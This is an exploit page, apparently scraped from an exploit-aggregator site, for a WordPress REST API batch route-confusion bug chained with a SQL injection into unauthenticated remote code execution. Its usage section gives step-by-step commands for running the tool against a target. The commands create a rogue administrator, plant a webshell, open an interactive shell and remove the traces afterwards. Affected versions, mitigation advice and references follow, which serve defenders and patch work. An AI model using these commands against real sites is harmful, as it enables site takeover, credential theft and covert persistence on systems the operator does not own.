Exploit for CVE-2026-63030

## https://sploitus.com/exploit?id=DA4EBC0E-2D57-5D2C-A8A0-8B4E51B5F339
# CVE-2026-63030: WordPress REST API Batch Route Confusion to SQL Injection and RCE

## Overview

**CVE-2026-63030** is a critical vulnerability in WordPress Core's REST API batch endpoint (`/wp-json/batch/v1`). On its own it's a route-confusion bug, but when chained with **CVE-2026-60137** (a SQL injection in `WP_Query`'s `author__not_in` parameter), it allows an unauthenticated attacker to run arbitrary SQL commands escalate to remote code execution. WordPress.org considered it serious enough to force automatic updates onto affected sites.

## How It Works (high level)

1. **Batch bookkeeping desync** — In `WP_REST_Server::serve_batch_request_v1()`, error sub-requests are tracked inconsistently between internal arrays, causing later sub-requests to be dispatched under the wrong route handler.
2. **Sanitization bypass** — Because a sub-request runs under the "wrong" handler's context, route-specific input validation (e.g., type/array checks) can be skipped.
3. **SQL injection** — That gap lets attacker-controlled input reach `WP_Query`'s `author__not_in` handling without the expected `is_array()` guard, so it gets interpolated directly into a `NOT IN (...)` SQL clause.
4. **Path to RCE** — The injection is SELECT-only (no stacked queries), but on hosts where the MySQL user has `FILE` privilege, it can be used to write a PHP webshell into the web root. Where that privilege isn't available, attackers can instead pull admin credential hashes via blind/UNION injection.

## Usage

1. Clone the repository
```bash
git clone htttps://github.com/OffByOn3/wp2shell-poc 
cd wp2shell-poc
```

2. Test Vulnerability: Check if target is vulnerable without exploiting:
```bash
python3 CVE-2026-63030.py -t https://target.com --test
```

3. Create Admin Account: Create a new WordPress administrator via SQL injection:
```bash
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin

# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
```

4. Execute Shell Commands: Deploy webshell and execute commands:

```bash
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"

# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i

# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
```

5. Cleanup: Remove created resources (admin user and webshell):

```bash
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup

# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
  -U created_admin -P password \
  --shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
```

6. Additional Options
```bash
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080

# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
```

## Affected Versions

| Component | Affected | Fixed |
|---|---|---|
| CVE-2026-63030 (route confusion) | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 6.9.5, 7.0.2 |
| CVE-2026-60137 (SQLi, `author__not_in`) | WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 | 6.8.6, 6.9.5, 7.0.2 |

- WordPress **6.8.x** has the SQLi but *not* the RCE chain (no unauthenticated path reaches it there) — still needs patching.
- WordPress **6.9+ and 7.0.x** have both bugs, giving unauthenticated RCE.
- Versions below 6.8.0 are not affected.

**CVSS**: 9.8 (Critical)

## Discovery & Timeline

Reported by Adam Kues of Assetnote/Searchlight Cyber via WordPress's HackerOne program. WordPress shipped emergency releases 6.9.5 and 7.0.2 on July 17, 2026, and separately patched the 6.8 branch as 6.8.6. Technical details and public PoC exploit code have since circulated, so exploitation in the wild should be assumed to be happening or imminent.

## Mitigation

1. **Patch immediately** to 6.9.5, 7.0.2, or 6.8.6 (or later) — this is the only complete fix.
2. If you can't patch right away, block unauthenticated access to the batch endpoint at the WAF/edge level: block both `/wp-json/batch/v1` and `?rest_route=/batch/v1`.
3. Cloudflare and other major WAF providers pushed managed rules for this specific chain — enable them if available.
4. After patching, review server/access logs for batch requests with malformed or unusual sub-request paths around the disclosure window.

## References

- WordPress 7.0.2 release announcement — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
- Searchlight Cyber wp2shell advisory — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
- Cloudflare blog on WAF coverage — https://blog.cloudflare.com/wordpress-vulnerabilities/